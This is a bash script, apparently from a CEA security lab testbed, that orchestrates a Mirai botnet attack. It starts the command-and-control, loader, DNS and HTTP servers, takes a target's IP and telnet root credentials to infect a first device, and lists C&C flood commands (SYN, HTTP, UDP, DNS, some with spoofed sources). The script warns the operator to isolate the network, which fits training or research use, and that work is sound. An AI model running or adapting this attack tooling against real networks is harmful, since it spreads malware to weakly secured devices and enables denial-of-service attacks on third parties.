#!/bin/bash
# Copyright (C) 2025 CEA - All Rights Reserved
# 
# This program is free software: you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation, either version 3 of the License, or (at your option) any later
# version.
# 
# This program is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of  MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
# 
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.


# 1) UTILITY FUNCTIONS
# This section contains utility functions that assist with various tasks in the attack process

# Functions to print warning messages
YELLOW="\e[33m"
RESET="\e[0m"

function echo_warning {
    local message="$1"
    echo -e "${YELLOW}[warning] ${message}${RESET}"
}

# Function to stop Mirai servers before exiting the script
cleanup(){
    echo ""
    ./CleanMirai.sh
    exit 1
}

# Function to gather information on the first device we want to infect
get_first_infected_device(){

    read -p "[+] Please enter the IP address of the first device to infect : " target_ip_address
    ping -c 1 "$target_ip_address" > /dev/null
    if [ $? -ne 0 ]; then
        echo "[!] Invalid IP address or host unreachable"
        cleanup
    fi

    echo ""
    echo -e "[+] For Mirai to successfully infect the device, root access is required"
    read -p "[+] Please enter the telnet username of the first device to infect (default : root) : " username
    username=${username:-root}

    read -p "[+] Please enter the telnet password of the first device to infect (default : root) : " password  
    password=${password:-root}
}

# Function to execute the entire attack process
run_attack(){
    echo "[+] Starting the Mirai servers."
    ./StartServers.sh 
    trap cleanup SIGINT

    echo ""
    echo_warning "The Mirai servers are now running in the background. If this script is stopped unexpectedly (e.g., by closing the terminal), the Mirai servers will continue running. To stop them, execute the CleanMirai.sh script in the '/scripts' directory.\n"
    
    ./StartMirai "$target_ip_address" "$TELNET_PORT" "$LOADER_IP_ADDRESS" "$username" "$password"
    if [ $? -ne 0 ]; then 
        echo "[!] Error: Failed to start the Mirai infection process."
        cleanup
    fi

    echo "[+] The attack is now running..."
    echo "[+] Press ENTER to stop the servers and terminate the attack."
    read -n 1 wait

    ./CleanMirai.sh
    echo_warning "Please power off all infected devices to fully remove Mirai from the network."
}



# 2) ATTACK MODES
# This section defines different attack modes, alowing either user interaction or full automation.

# Function to guide the user through each step of the Mirai attack
attack_step_by_step() {
    echo ""
	echo "======== STEP 1 : Start Mirai Servers ========"
	echo ""
    echo -e "[+] The first step of the Mirai attack involves starting the following servers:"   
    echo -e "    1. DNS Server: Resolves the IP addresses for the Command and Control, Loader, and HTTP servers."
    echo -e "    2. Command and Control Server: This server allows you to send commands to the infected devices."
    echo -e "    3. Loader Server: The server that receives login credentials from the target devices and attempts to infect them."
    echo -e "    4. HTTP Server: Used by the Loader server to download and inject the malware into the devices.\n"
    echo "[+] Press ENTER to continue..."
    read -n 1 wait

    echo "[+] Starting the Mirai servers :"
    ./StartServers.sh 

    echo ""
    echo_warning "The Mirai servers are now running in the background. If this script is stopped unexpectedly (e.g., using Ctrl + C), the Mirai servers will continue running. To stop them, execute the CleanMirai.sh script in the '/scripts' directory.\n"
    

	echo ""
	echo "======== STEP 2 : Infect First Device ========"
	echo ""
    echo "[+] The Mirai servers have been started successfully."
    echo "[+] You can now access the C&C server with the command 'telnet 50.50.50.53' and the credentials 'mirai_user:mirai_password'"
    echo -e "[+] The last step before starting the attack is to provide the IP address and the root credentials of the first device to infect to the loader.\n"

    get_first_infected_device

    echo -e "\n[+] We will now send those information to the loader so he will infect the device.\n";

    echo_warning "The only way to stop Mirai from running is to power off all the infected devices in the same time.";
    echo_warning "Please make sure your network is ISOLATED FROM INTERNET BEFORE RUNNING MIRAI.\n";

    echo "[+] Press ENTER to infect the first device with Mirai..."
    read -n 1 wait

    ./StartMirai "$target_ip_address" "$TELNET_PORT" "$LOADER_IP_ADDRESS" "$username" "$password"
    if [ $? -ne 0 ]; then 
        echo "[!] Error: Failed to start the Mirai infection process."
        cleanup
    fi

	echo ""
	echo "======== STEP 3 : Launch Mirai Attack via C&C Server ========"
	echo ""
    echo -e "[+] The Mirai attack is now running."
    echo -e "[+] The next step is to issue commands from the Command and Control (C&C) server.\n"

    echo -e "[+] To connect to the C&C server, run the following command in your terminal:"
    echo -e "    'telnet 50.50.50.53'\n"

    echo -e "[+] Log in with the following credentials:"
    echo -e "    Username: 'mirai_user'"
    echo -e "    Password: 'mirai_password'\n"

    echo -e "[+] Once logged in, you will see the number of infected devices (bots) displayed in the terminal title."
    echo -e "[+] To view all available commands, type '?' in the C&C shell. Here are some example attack commands:"
    echo -e "    - syn 50.50.50.1 30 dport=22"
    echo -e "    - http 50.50.50.53 30 domain=50.50.50.53 dport=5000"
    echo -e "    - http 50.50.50.53 30 domain=50.50.50.53 method=POST postdata=HACKED dport=5000"
    echo -e "    - http 50.50.50.1 30 domain=50.50.50.1 dport=5000 path=/nosql"
    echo -e "    - syn 50.50.50.53/29 45 source=1.1.1.1"
    echo -e "    - udp 50.50.50.53 30 source=1.1.1.1 sport=55555 dport=12345 len=5000 ttl=35"
    echo -e "    - dns 1.1.1.1 60 domain=target.com\n"

    echo -e "[+] To build a custom attack, use this format:"
    echo -e "    <AttackMethod> <IP Address/Network> <Duration> <flags (key=value separated by spaces)>\n"

    echo -e "[+] After completing your attacks, press ENTER to shut down all Mirai servers and stop the attack."
    read -n 1 wait

    ./CleanMirai.sh

    echo_warning "Please power off all infected devices to fully remove Mirai from the network."

    echo ""
    echo "[+] If you want to replay the attack with the non interactive mode, the command is :"
    echo "sudo ./exploit.sh -all ${target_ip_address} ${username} ${password} "
}

# Function to guide the user through necessary input and then run the attack without further explanation
attack_interactive() {
    get_first_infected_device
    
    echo ""
    run_attack
}

# Function to fully automate the attack process without user interaction
attack_automated(){
    case $attack_phase in
        (-a|-all)
            run_attack
            ;;
        (-s|-setup)
            echo "[!] This attack does not have an setup phase."
			exit 1
            ;;
        (-p|-prepare)
            echo "[!] This attack does not have an preparation phase."
			exit 1
            ;;
        (-e|-exploit)
            run_attack
            ;;
        (*)
            echo "[!] Invalid argument. Use -a|-all, -s|-setup, -p|-prepare, or e|-exploit."
            exit 1
    esac

	echo -e "\n======== END : ATTACK ENDED ========\n"
	exit 0
}



# 3) BEGINNING OF THE SCRIPT EXECUTION
# Main entry point of the script, handles initial checks and user options.

set -m

cat << EndOfMessage
=============================    Mirai Malware   =============================


                        Welcome to the Mirai Malware attack


                        ███▄ ▄███▓ ██▓ ██▀███   ▄▄▄       ██▓
                        ▓██▒▀█▀ ██▒▓██▒▓██ ▒ ██▒▒████▄    ▓██▒
                        ▓██    ▓██░▒██▒▓██ ░▄█ ▒▒██  ▀█▄  ▒██▒
                        ▒██    ▒██ ░██░▒██▀▀█▄  ░██▄▄▄▄██ ░██░
                        ▒██▒   ░██▒░██░░██▓ ▒██▒ ▓█   ▓██▒░██░
                        ░ ▒░   ░  ░░▓  ░ ▒▓ ░▒▓░ ▒▒   ▓▒█░░▓  
                        ░  ░      ░ ▒ ░  ░▒ ░ ▒░  ▒   ▒▒ ░ ▒ ░
                        ░      ░    ▒ ░  ░░   ░   ░   ▒    ▒ ░
                            ░    ░     ░           ░  ░ ░  
                                                            

EndOfMessage
echo ""
echo "[+] You are about to use the Mirai malware!"
echo "[+] This malware aims to create a botnet by scanning the network and infecting devices with weak Telnet credentials."
echo ""

# General configuration variables
SCRIPT_DIR="$(realpath "$(dirname "$0")")"
LOADER_IP_ADDRESS=50.50.50.53
TELNET_PORT=23

cd "$SCRIPT_DIR/scripts/"

# Check if the script is run as root
if [ "$(id -u)" != "0" ]; then
   echo "[!] This script must be run as root." 1>&2
   echo "[!] Usage: sudo $0"
   exit 1
fi

# If script is executed with exactly 4 arguments, run the attack automatically with those arguments
if [ $# -eq 4 ]; then
    attack_phase=$1
    target_ip_address=$2
    username=$3
    password=$4
    attack_automated
fi

# Main loop to choose between interactive or step-by-step attack mode
while true;
do
	read -p  "[+] Choose interactive mode ('i') or step by step mode ('s'): " attack_mode

	case $attack_mode in
		(i|I)
			attack_interactive
			break
			;;
		(s|S)
			attack_step_by_step
			break
			;;
		(*)
			echo -e "[!] Invalid option.\n"
            ;;
	esac
done

echo -e "\n======== END : ATTACK ENDED ========\n"
exit 0